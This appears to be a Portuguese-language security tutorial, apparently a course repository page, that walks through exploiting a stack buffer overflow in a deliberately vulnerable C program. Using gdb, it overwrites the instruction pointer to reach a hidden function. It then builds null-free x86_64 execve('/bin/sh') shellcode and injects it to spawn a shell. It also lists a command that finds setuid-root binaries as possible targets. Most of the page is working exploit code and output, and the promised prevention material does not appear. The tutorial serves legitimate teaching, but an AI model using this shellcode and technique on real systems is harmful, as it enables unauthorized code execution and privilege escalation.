-
Notifications
You must be signed in to change notification settings - Fork 3
Secure Code
No contexto de código seguro, um buffer overflow ocorre quando um programa em
execução tenta gravar dados além do espaço de memória associado à uma
determinada variável.
Este tipo de prática pode ser utilizado para substituir o valor de
registradores que determinam o fluxo de execução do programa.
Nesse caso, ao explorar uma falha como essa, seria possível introduzir código
objeto no espaço associado ao buffer e colocar o endereço desse código no
registrador de instrução.
Dessa forma, seria possível executar código arbitrário em um computador com a
permissão do usuário associado ao programa que está sendo executado.
Se uma falha como esse for encontrada em programas como o passwd ou su,
isso pode implicar em acesso superusuário não autorizado.
NOTA - É possível verificar que programas possuem acesso de superusuário com o seguinte comando.
term@sec$ find /usr -user root -perm -4000 -exec ls -ldb {} \;
Nesse documento, é apresentada de forma detalhada a reprodução de um o processo de exploração de buffer overflow e de como é possível evitá-la.
Considere o programa em C escrito abaixo.
#include <stdio.h>
#include <string.h>
void secret(void)
{
printf("access granted!\n");
}
int main(int argc, char *argv[])
{
char buffer[512];
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}O código acima recebe como parâmetro do terminal uma string armazenada em
argv[1] e a copia para a posição de memória associada a vairável buffer.
Após isso, reproduz o conteúdo copiado em buffer na saída do programa e
termina.
Verifica-se que a função secret() não é utilizada no código.
A seguir, é inicialmente demonstrado como é possível executar a função
secret() explorando um buffer overflow na variável buffer.
O próximo passo é gerar o código objeto do programa.
Normalmente, basta utilizar o compilador (nesse caso, o gcc) como descrito
abaixo.
term@sec$ gcc example.c -o exampleEm alguns casos, é necessário adicionar algumas opções ao processo de
compilação.
Se algum problema for identificado mais adiante, talvez seja necessário passar
algumas opções para o compilador ou linker.
Se for esse o caso, para compilar o código, utilize as opções
-fno-stack-protector do compilador gcc (para desabilitar a verificação
extra do compilador para buffer overflow) e -z execstack para que o gcc
repasse para o linker ld a opção execstack (para definir que o código
objeto gerado possua um stack executável).
term@sec$ gcc -fno-stack-protector -z execstack example.c -o exampleNOTA - A opção de proteção da pilha (
-fstack-protector) foi introduzida no GCC 4.1 em 2005 como uma forma de dificultar a exploração de buffer overflow (ver mais).
O código objeto compilado deve receber uma string como argumento via terminal
e, utilização da função strcpy() copiar essa string na posição de memória
associada à variável buffer.
Após isso, o conteúdo em buffer é apresentado no terminal pela função
printf().
term@sec$ ./example my-content-by-argument
my-content-by-argumentComo no código não há limitação da quantidade de caracteres que podem ser
copiados para buffer, é possível criar uma string grande o suficiente para
escrever nas posições de memória além dos 512 bytes associados à variável.
Dessa forma, é possível tentar sobrescrever o registrador de instrução que fica nas posições de memória mais altas da memória do programa. Utilizando alguma linguagem de script para gerar strings do tamanho desejado pode ajudar a descobrir o tamanho necessário para que esse registrador seja alterado.
Abaixo é demonstrado como utilizar o python para criar uma string de
composta por letras A de tamanho 70.
term@sec$ ./example $(python -c "print('A' * 70)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPara descobrir qual o valor correto, deve-se aumentar o tamanho até que occorra
uma falha de segmentação (segmentation fault).
Como a variável buffer possui 512 bytes alocados, deve-se utilizar um valor
inicial maior que 512.
Esse valor deve ser aumentado até que apareca menssagem de falha de
segmentação.
term@sec$ ./example $(python -c "print('A' * 519)")
[...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
term@sec$ ./example $(python -c "print('A' * 520)")
[...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation faultA seguir é utilizado o debugger GDB para
analisar a execução do programa objeto e tentar idenficar como executar a
função secret().
A seguir, o debugger gdb é utilizado para carregar o código objeto
example com a opção --quiet para suprimir mensagens introdutórias e de
copyright.
term@sec$ gdb --quiet example
Reading symbols from example...
(No debugging symbols found in example)
(gdb) É possível utilizar o comando run para executar o programa carregado pelo
debugger.
Os argumentos para execução do programa podem ser passados logo após o
comando.
Utilizando o tamanho do argumento encontrado anteriormente,
$(python -c "print('A' * 520)"), é possível replicar a falha de
segmentação dentro do ambiente de depuração.
(gdb) run $(python -c "print('A' * 520)")
[...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e04d00 in __libc_start_main (main=0x555555555158 <main>, argc=2,
argv=0x7fffffffe048, init=<optimized out>, fini=<optimized out>,
rtld_fini=<optimized out>, stack_end=0x7fffffffe038)
at ../csu/libc-start.c:308
(gdb) Agora, dentro do debugger, é possível verificar que a falha de segmentação
ocorre na função __libc_start_main() definida na linha 308 do arquivo
csu/libc-start.c da GNU C Library
(quando compilada).
Essa função tem como finalidade executar a inicialização necessária do ambiente
de execução, chamar a função principal main() do programa com os argumentos
apropriados e manipular o seu retorno.
Dado que a falha de segmentação ocorreu na instrução presente na posição de
memória 0x00007ffff7e04d00, é possível utilizar o comando disassemble para
verificar a instrução em linguagem de montagem (assembly).
(gdb) disassemble 0x00007ffff7e04d00,+1
Dump of assembler code from 0x7ffff7e04d00 to 0x7ffff7e04d01:
=> 0x00007ffff7e04d00 <__libc_start_main+224>: mov (%rax),%rdx
End of assembler dump.
(gdb) A instrução que causou a falha de segmentação (mov (%rax),%rdx) lê o
counteúdo da posição de memória armazenada em rax e armazena-o no
registrador rdx.
Para entender a falha de segmentação, é possível verificar o valor desses
registradores no momento em que ela occoreu.
Isso pode ser feito em seguida pelo comando info registers do gdb.
(gdb) info registers
rax 0x0 0
[...]
rbp 0x4141414141414141 0x4141414141414141
[...]
rip 0x7ffff7df4d00 0x7ffff7df4d00 <__libc_start_main+224>
[...]
(gdb) É possível verificar que o endereço armazenado em rax é 0x0, logo a
tentativa de ler essa posição de memória causou a falha de segmentação.
O que pode-se verificar é que, ao explorar o buffer overflow passando uma
string de 520 caracters 'A', o registrador rbp foi sobrescrito com o
valor 0x4141414141414141 (equivalente em ASCII a AAAAAAAA).
O registrador rbp, denominado base pointer, aponta para a base do
stack frame atual.
Pode-se aumentar a string do argumento para verificar qual outro registrador
pode ser alterado.
(gdb) run $(python -c "print('A' * 520 + 'BBBBBB')")
[...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
(gdb)No exemplo acima, foi adicionada a sequência 'BBBBBB' ao final da string.
Isso fez com que o endereço de falha de segmentação fosse alterado para
0x0000424242424242 (sendo que 0x42 é B em ASCII).
(gdb) info registers
[...]
rbp 0x4141414141414141 0x4141414141414141
[...]
rip 0x424242424242 0x424242424242
[...]
(gdb)Verificando novamente os registradores é possível identificar que o o
registrador rip foi alterado para conter a string 'BBBBBB' (ou seja, o
endereço 0x424242424242).
O registrador de propósito específico rip guarda o endereço de memória da
próxima instrução a ser executada no seguimento de código do programa.
Portanto, é possível utilizar o buffer overflow para forçar que um endereço
de memória específico seja executado.
Para atingir o objetivo inicial, é necessário colocar o endereço da função
secret() no registrador rip.
O endereço da função pode ser verificado com o comando info address.
(gdb) info address secret
Symbol "secret" is at 0x555555555145 in a file compiled without debugging.
(gdb)A função secret() está localizada na posição 0x555555555145 da memória do
programa.
Para executá-la, é necessário adicionar esse endereço no final da string.
Porém, como a arquitetura em questão é little endian, é necessário inverter
os bytes: '\x45\x51\x55\x55\x55\x55'.
(gdb) run $(python -c "print('A' * 520 + '\x45\x51\x55\x55\x55\x55')")
[...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQUUUU
access granted!
Program received signal SIGILL, Illegal instruction.
0x00007fffffffe048 in ?? ()
(gdb) Com a saída de texto do programa 'access granted!', confirma-se que a função
secret() foi executada.
A utilização de buffer overflow para substituir o endereço no registrador de ponteiro de instrução pode ser utilizado para executar um trecho de código específico dentro da memória do programa. Considerando o caso em que o código objeto que deseja ser executado não faça parte do programa em que a falha está sendo explorada, é necessário criar esse trecho de código e inseri-lo dentro da memória do programa. Para entender como isso é possível, escrever códigos em linguagem de montagem é um exercício fundamental para entender como um programa se comunica com o sistema operacional.
Para prosseguir nesse estudo, é necessário conhecer a arquitetura e o sistema
opereracional utilizado no experimento.
Isso pode ser feito com a ajuda do comando uname -svm.
term@sec$ uname -svm
Linux #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64Verifica-se portanto que, enquanto esse documento é escrito, está sendo
utilizado o sistema operacional Linux, com Kernel na versão 5.10.92-1 da
distribuição Debian em uma máquina com arquitetura x86_64.
Essa informação é relevante, dentre outros motivos, para identificar os
requisitos do código objeto que deve ser gerado para ser inserido em programas
que executam nessa arquitetura.
Porém, antes de escrever código em linguagem de montagem, considere o seguinte
progama minimalista escrito em linguagem C.
#include <stdlib.h>
void main(void)
{
exit(0);
}Em termos gerais, esse programa apenas inicia a função main() e termina sua
execução em seguida com uma chamada de sistema a função exit() passando como
parâmetro o valor 0 (zero).
Um programa que simplismente termina de forma correta é um ponto de partida
razoável para entender como o programa em questão se comunica com o sistema
operacional.
Para que possamos escrever um programa equivalente em linguagem de montagem, é
necessário compreender que a comunicação com o sistema operacional se dá por
meio de passagem de parâmetros por registradores e uma posterior chamada de
sistema.
No exemplo minimalísta em C, a função exit() é responsável, dentre outras
coisas, por utilizar a chamada de sistema exit.
Utilizando o comando man 2 exit, é possível verificar a seguinte sinopse da
chamada de sistema.
SYNOPSIS
#include <unistd.h>
void _exit(int status);Cada função de chamada de sistema possui um número associado, definido pelo
sistema operacional, que é utilizado para informá-lo por meio de um
registrador.
No caso da arquitetura em questão, esse registrador é o rax.
Dessa forma, para que o sistema operacional execute a chamada exit, é
necessário descobrir o valor associado à ela.
Como descrito no trecho do manual acima, essa informação pode ser encontrado no
arquivo unistd.h.
Na máquina utilizada nesse experimento, essa informação encontra-se no arquivo
/usr/include/x86_64-linux-gnu/asm/unistd_64.h.
[...]
#define __NR_exit 60
[...]Portanto, para que o sistema operacional execute a chamada exit, é necessário
antes colocar no registrador rax o valor 60.
Isso pode ser feito com o operador mov, resultando na instrução:
mov rax, 60.
Em seguida, é necessário informar o parâmetro status 0 da função exit.
Isso deve ser feito por meio do registrador rdi.
Utilizando novamente o operador mov, tem-se a instrução : mov rdi, 0.
Após essas duas instruções, é possível realizar a chamada de sistema exit
utilizando a chamada syscall.
A seguir, é apresentado o programa equivalente em linguagem de montagem para a
arquitetura Intel x86_64.
global _start ; ponteiro de entrada padrao
section .text ; segmento de texto
_start: mov rax, 60 ; rax <- exit syscall number
mov rdi, 0 ; exit 1o parametro (0)
syscall ; chamada de sistemaAlém das instruções descritas para realizar a chamada de sistema, tem-se nas
duas primeiras linhas: (1) o uso da diretiva global e do rótulo _start para
indicar ao linker o endereço de memória que deve ser executado no início do
programa; e (2) o uso da diretiva section para indicar o começo do segmento
de texto .text do programa.
NOTA - No contexto de programação em linguagem de montagem, tem-se que o programa pode ser dividio em até 3 segmentos principais:
.text,.datae.bss. O primeiro é para o código em si, o segundo para dados inicializados e o terceiro para dados não inicializados (ver mais).
Para transformar o programa em linaguem de montagem acima em código objeto
executável, é possível utitilizar o assembler nasm e o linker ld.
term@sec$ nasm -f elf64 minimal.asm
term@sec$ ld minimal.o -o minimalA opção -f elf64 do comando nasm indica o formato de código objeto que deve
ser gerado pelo nasm.
Nesse experimeto, o tipo deve ser ELF64, uma vez que a arquitetura da máquina é
x86_64.
O programa nasm utiliza a descrição em linguagem de montagem minimal.asm
para criar o código objeto minimal.o no formato ELF64.
Após isso, o programa ld processa o código objeto minimal.o para criar o
arquivo executável minimal (nome indicado pela opção -o).
term@sec$ ./minimal
term@sec$ echo $?
0Como esperado, a execução do programa inicia e termina com sucesso.
É possível verificar o valor do parâmetro da chamada de sistema exit(0)
imprimindo com o comando echo o conteúdo da variável de ambiente $?, que
guarda o falor de retorno do último programa executado.
NOTA - Como exercício, pode-se verificar que ao alterar a instrução
mov rdi, 0para, por exemplo,mov rdi, 1o valor de retorno verificado pelo comandoecho $?passa a ser1.
No arquivo /usr/include/x86_64-linux-gnu/asm/unistd_64.h.
[...]
#define __NR_execve 59
#define __NR_exit 60
[...]Manual man execve.
SYNOPSIS
#include <unistd.h>
int execve(const char *pathname, char *const argv[],
char *const envp[]);Adicionando a chamada de sistema para executar o programa /bin/sh.
global _start ; ponteiro de entrada padrao
section .data ; segmento de dados
cmd: db "/bin/sh", 0 ; path + '\0'
section .text ; segmento de texto
_start: mov rax, 59 ; rax <- execve syscall number
mov rdi, cmd ; write 1o parametro (path)
mov rsi, 0 ; write 2o parametro (argv)
mov rdx, 0 ; write 3o parametro (envp)
syscall ; chamada de sistema
mov rax, 60 ; rax <- exit syscall number
mov rdi, 0 ; exit 1o parametro (0)
syscall ; chamada de sistemaUtilizando o assembler nasm e o linker ld.
term@sec$ nasm -f elf64 shell.asm
term@sec$ ld shell.o -o shellVerificando a criação de uma novo processo sh.
term@sec$ ps
PID TTY TIME CMD
2667 pts/0 00:00:00 bash
10535 pts/0 00:00:00 ps
term@sec$ ./shell
$ ps
PID TTY TIME CMD
2667 pts/0 00:00:00 bash
10537 pts/0 00:00:00 sh
10538 pts/0 00:00:00 ps
$ Para montar o código hexadecimal a ser injetado no buffer é preciso extrair
os bytes na seção ou seguimento de texto .text.
Isso pode ser feito com o programa objdump usando a opção de disassemble
-D.
term@sec$ objdump -D shell
shell: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: b8 3b 00 00 00 mov $0x3b,%eax
401005: 48 bf 00 20 40 00 00 movabs $0x402000,%rdi
40100c: 00 00 00
40100f: be 00 00 00 00 mov $0x0,%esi
401014: ba 00 00 00 00 mov $0x0,%edx
401019: 0f 05 syscall
40101b: b8 3c 00 00 00 mov $0x3c,%eax
401020: bf 00 00 00 00 mov $0x0,%edi
401025: 0f 05 syscall
Disassembly of section .data:
0000000000402000 <cmd>:
402000: 2f (bad)
402001: 62 (bad)
402002: 69 .byte 0x69
402003: 6e outsb %ds:(%rsi),(%dx)
402004: 2f (bad)
402005: 73 68 jae 40206f <__bss_start+0x67>
...- Existência de bytes nulos inviabiliza a passagem do shellcode pela
função
strcpy(); e - Para referênciar endereços no segmento de dados
.dataé necessário recalcular com base no novo local onde será inserido no programa alvo.
O registrador rax pode ter seus bytes menos significativos acessados
utilizando os nomes de registradores de arquiteturas anteriores.
rax (64 bits)
|----------------------------------------------------------------|
eax (32 bits)
|--------------------------------|
ax (16 bits)
|----------------|
ah byte
|--------|
al byte
|--------|
Reescrevendo o código em linguagem de montagem.
global _start ; ponteiro de entrada padrao
section .text ; segmento de texto
_start:
xor rax, rax ; fill with 0's
push rax ; push string terminator 0 ~ '\0'
push dword "//bi" ; push the first 4 path bytes
mov dword [rsp + 4], "n/sh" ; move right the 4 remaining bytes
mov al, 59 ; rax <- execve syscall number
mov rdi, rsp ; write 1o parametro (path)
xor rsi, rsi ; write 2o parametro (argv)
xor rdx, rdx ; write 3o parametro (envp)
syscall ; chamada de sistema
mov al, 60 ; rax <- exit syscall number
xor rdi, rdi ; exit 1o parametro (0)
syscall ; chamada de sistemaVerificando novamente a saída do objdump.
term@sec$ objdump -D shell-dc
shell-dc: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: 48 31 c0 xor %rax,%rax
401003: 50 push %rax
401004: 68 2f 2f 62 69 pushq $0x69622f2f
401009: c7 44 24 04 6e 2f 73 movl $0x68732f6e,0x4(%rsp)
401010: 68
401011: b0 3b mov $0x3b,%al
401013: 48 89 e7 mov %rsp,%rdi
401016: 48 31 f6 xor %rsi,%rsi
401019: 48 31 d2 xor %rdx,%rdx
40101c: 0f 05 syscall
40101e: b0 3c mov $0x3c,%al
401020: 48 31 ff xor %rdi,%rdi
401023: 0f 05 syscall Utilizando o programa utilitário extract.awk presente no repositório
class-security.
term@sec$ objdump -d shell | ./extract.awk
\x48\x31\xc0\x50\x68\x2f\x2f\x62\x69\xc7\x44\x24\x04\x6e\x2f\x73\x68\xb0\x3b
\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\xb0\x3c\x48\x31\xff\x0f\x05Para executar o shellcode injetado no buffer é necessário descobrir o endereço de onde o código será inserido.
Para essa tarefa é possível utilizar o comando x do gdb, que apresenta o conteúdo de memória de um dado endereço.
(gdb) x /32x ($rsp - 560)
0x7fffffffdd30: 0x00000000 0x00000000 0x5555519f 0x00005555
0x7fffffffdd40: 0xffffe048 0x00007fff 0x03ae75f6 0x00000002
0x7fffffffdd50: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd60: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd70: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd80: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd90: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdda0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) No exemplo acima, o comando x é seguido da opção /32x que indica que deve ser apresentado o conteúdo de 32 endereços no formato hexadecimal a partir do endereço ($rsp - 560), onde $rsp indica o endereço do topo da pilha.
Como os bytes 41 representam a sequência de letras A, tem-se que o código a ser injetado ficará, nesse exemplo, no endereço de memória 0x7fffffffdd50.
Utilizando o programa utilitário injection.py presente no repositório
class-security.
term@sec$ ./injection.py 42 50ddffffff7f `objdump -d shell | ./extract.awk` | xxd
00000000: 9090 4831 c050 682f 2f62 69c7 4424 046e ..H1.Ph//bi.D$.n
00000010: 2f73 68b0 3b48 89e7 4831 f648 31d2 0f05 /sh.;H..H1.H1...
00000020: b03c 4831 ff0f 0590 9090 50dd ffff ff7f .<H1......P.....Agora basta reproduzir o comando dentro do debugger.
(gdb) run $(./injection.py 520 50ddffffff7f `objdump -d shell | ./extract.awk`)
[...]
process 9404 is executing new program: /usr/bin/dash
$ id -u
[Detaching after vfork from child process 9412]
1000
$ exit
[Inferior 1 (process 9404) exited normally]
(gdb)